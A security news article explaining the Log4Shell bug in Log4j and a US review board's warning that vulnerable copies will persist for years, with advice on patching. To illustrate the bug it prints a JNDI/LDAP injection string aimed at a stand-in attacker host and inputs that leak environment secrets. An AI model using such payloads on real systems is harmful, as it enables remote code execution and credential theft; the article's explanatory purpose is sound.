8 months on, US says Log4Shell will be around for “a decade or longer”

Remember Log4Shell?

It was a dangerous bug in a popular open-source Java programming toolkit called Log4j, short for “Logging for Java”, published under a liberal, free source code licence, by the Apache Software Foundation.

If you’ve ever written software of any sort, from the simplest BAT file on a Windows laptop to the gnarliest mega-application running on on a whole rack of servers, you’ll have used logging commands.

From basic output such as echo "Starting calculations (this may take a while)" printed to the screen, all the way to formal messages saved in a write-once database for auditing or compliance reasons, logging is a vital part of most programs, especially when something breaks and you need a clear record of exactly how far you got before the problem hit.

The Log4Shell vulnerability (actually, it turned out there were several related problems, but we’ll treat them all as if they were one big issue here, for simplicity) turned out to be half-bug, half-feature.

In other words, Log4j did what it said in the manual, unlike in a bug such a a buffer overflow, where the offending program incorrectly tries to mess around with data it promised it would leave alone…

…but unless you had read the manual really carefully, and taken additional precautions yourself by adding a layer of your own security on top of Log4j, your software could come unstuck.

Really, badly, totally unstuck.

Interpolation considered harmful

Simply put, Log4j didn’t always record log messages exactly as you supplied them.

Instead, it had a “feature” known variously and confusingly in the jargon as interpolation, command substitution or auto-rewriting, so that you could trigger special features inside the logging utility without having to write special code to do it yourself.

Thus the following text would get logged literally, exactly as you submitted it, which is probably what you’d expect of a logging toolkit, especially if you wanted to keep a formal record of the input data your users presented, for example for regulatory reasons:

  INPUT                           OUTCOME  -----------------------         ------------------------  USERNAME=duck                -> USERNAME=duck  Caller-ID:555-555-5555       -> Caller-ID:555-555-5555  Current version = 17.0.1     -> Current version = 17.0.1  

But if you submitted text wrapped in the magic character sequence ${...}, the logger would sometimes do smart things with it, after receiving the text but before actually writing in into the log, like this:

  INPUT                                     OUTCOME  ----------------------------------        -------------------------------------------  CURRENT=${java:version}/${java:os}     -> CURRENT=Java version 17.0.1/Windows 10 10.0  Server account is: ${env:USER}         -> Server account is: root  ${env:AWS_ACCESS_KEY_ID}               -> SECRETDATAINTENDEDTOBEINMEMORYONLY  

Clearly, if you’re accepting logging text from a trusted source, where it’s reasonable to allow the loggee to control the logger by telling it to substitute plain text with chosen internal data, this sort of text rewriting is useful.

But if your goal is to keep track of data submitted by a remote user, perhaps for regulatory record-keeping purposes, this sort of auto-rewriting is doubly dangerous:

• In the event of a dispute, you don’t have a reliable record of what the user actually did submit, given that it might have been modified between input and output.
• A malicious user could send sneakily-constructed inputs in order to provoke your server into doing something it wasn’t supposed to.

For example, if you’re logging user inputs such as their browser’s identification string (known in the jargon as the User-Agent), their username or their phone number, you don’t want to give those users a chance to trick into writing private data (such as a memory-only password string like AWS_ACCESS_KEY_ID) into a permanent logfile.

Especially if you’ve confidently told your auditors or the regulator that you never write plaintext passwords into permanent storage. (You shouldn’t do this, even if you haven’t officially told the regulator you don’t!)

Worse to come

In the Log4Shell is-it-a-bug-or-is-it-a-feature case, things were much worse than the already-risky examples given above.

For example, even just a User-Agent string (or a username, or a phone number, or whatever you hoped the user was going to send you) could be abused to trigger a truly dangerous sequence of events, like this:

  INPUT                                                 OUTCOME               ------------------------------------------------      ----------------------------------------  ${jndi:ldap://dodgy.server.example:8888/BadThing}  -> Download and run a remote Java program!?  

In the “interpolation” string above, the ${...} character sequence that includes the abbreviations jndi and ldap told Log4j to do this:

• Use the Java Naming and Directory Interface (JNDI) to do an online lookup.
• Connect using LDAP to an external server on TCP port 8888.
• Request the data stored in the LDAP object BadThing.

In other words, an external user could submit a deliberately constructed data input that was sneakily telling you to connect back out to a server of theirs, without so much as a by-your-leave.

How could this be a “feature”?

You might be wondering how a “feature” like this ever made it into the Log4j code.

But this sort of text rewriting can be useful, as long as you’re logging data from a trusted source.

For example, you could log a numerical user ID, but also ask the logger to use LDAP (the lightweight directory access protocol, widely used in the industry, including by Microsoft’s Active Directory system) to retrieve and save the username associated with that account number at that time.

This would improve both the readability and the historial value of the entry in the logfile.

But the LDAP server that Log4j called out in the example above (which was chosen by the remote user, don’t forget) is unlikely to know the truth, let alone to tell it, and a malicious user could therefore use this trick fill up your logs with bogus and even legally dubious data.

Even worse, the LDAP server could return precompiled Java code for generating the data to be logged, and your server would dutifully run that program –- an unknown program, supplied by an untrusted server, chosen by an untrusted user.

Loosely speaking, if any server, anywhere in your network, logged untrusted input that had come in from outside, and used Log4j to do so…

…then that input could be used as a direct and immediate instruction to your server to run someone else’s code, just like that.

That’s called RCE in the jargon, short for remote code execution, and RCE bugs are generally the most keenly sought by cybercriminals because thay can typically be exploited to implant malware automatically during a cyberattack.

Unfortunately, the nature of this bug meant that the danger wasn’t limited to internet-facing servers, so using web servers that were written in C, not Java (e.g. IIS, Apache https, nginx) didn’t free you from risk.

Any back-end server that received and logged data from elsewhere on your network, that was written in Java, and that used the Log4j library…

…could potentially be reached and exploited by outside attackers.

The fix was pretty straightforward:

• Find old versions of Log4j anywhere and everywhere in your network. Java modules typically have names like log4j-api-2.14.0.jar and log4j-core-2.14.0.jar, where jar is short for Java archive, a specially-structured sort of ZIP file. With a searchable prefix, a definitive extension, and the version number embedded in the filename, quickly finding offending files with “the wrong” versions of Java library code is actually fairly easy.
• Replace the buggy versions with newer, patched ones.
• If you weren’t in a position to change Log4J version, you could reduce or remove the risk by removing a single component from Log4j (the Java code that handled JNDI lookups, as described above) and repackaging your own modified Log4j JAR file.

The saga continues

Unfortunately, a recent, detailed report on the Log4Shell saga so far, published last week by the US Cybersecurity Review Board (CSRB), part of the Department of Homeland Security, contains the worrying suggestion (our emphasis below) that:

[T]he Log4j event is not over. The [CSRB] assesses that Log4j is an “endemic vulnerability” and that vulnerable instances of Log4j will remain in systems for many years to come, perhaps a decade or longer. Significant risk remains.

What to do?

At 42 pages (the executive summary alone runs to nearly three pages), the Board’s report is a long document, and parts of it are heavy going.

But we recommend that you read it through, because it’s a fascinating tale of how even cybersecurity problems that ought to be quick and easy to fix can get ignored, put off until later, or as-good-as denied altogther as “someone else’s problem” to fix.

Notable suggestions from the US public service, which we wholeheartedly endorse, include::

• Develop the capacity to maintain an accurate information technology (IT) asset and application inventory.
• [Set up a] documented vulnerability response program.
• [Set up a] documented vulnerability disclosure and handling process.

When it comes to cybersecurity, ask not what everyone else can do for you…

…but think about what you can do for yourself, because any improvements you make will almost certainly benefit everyone else as well.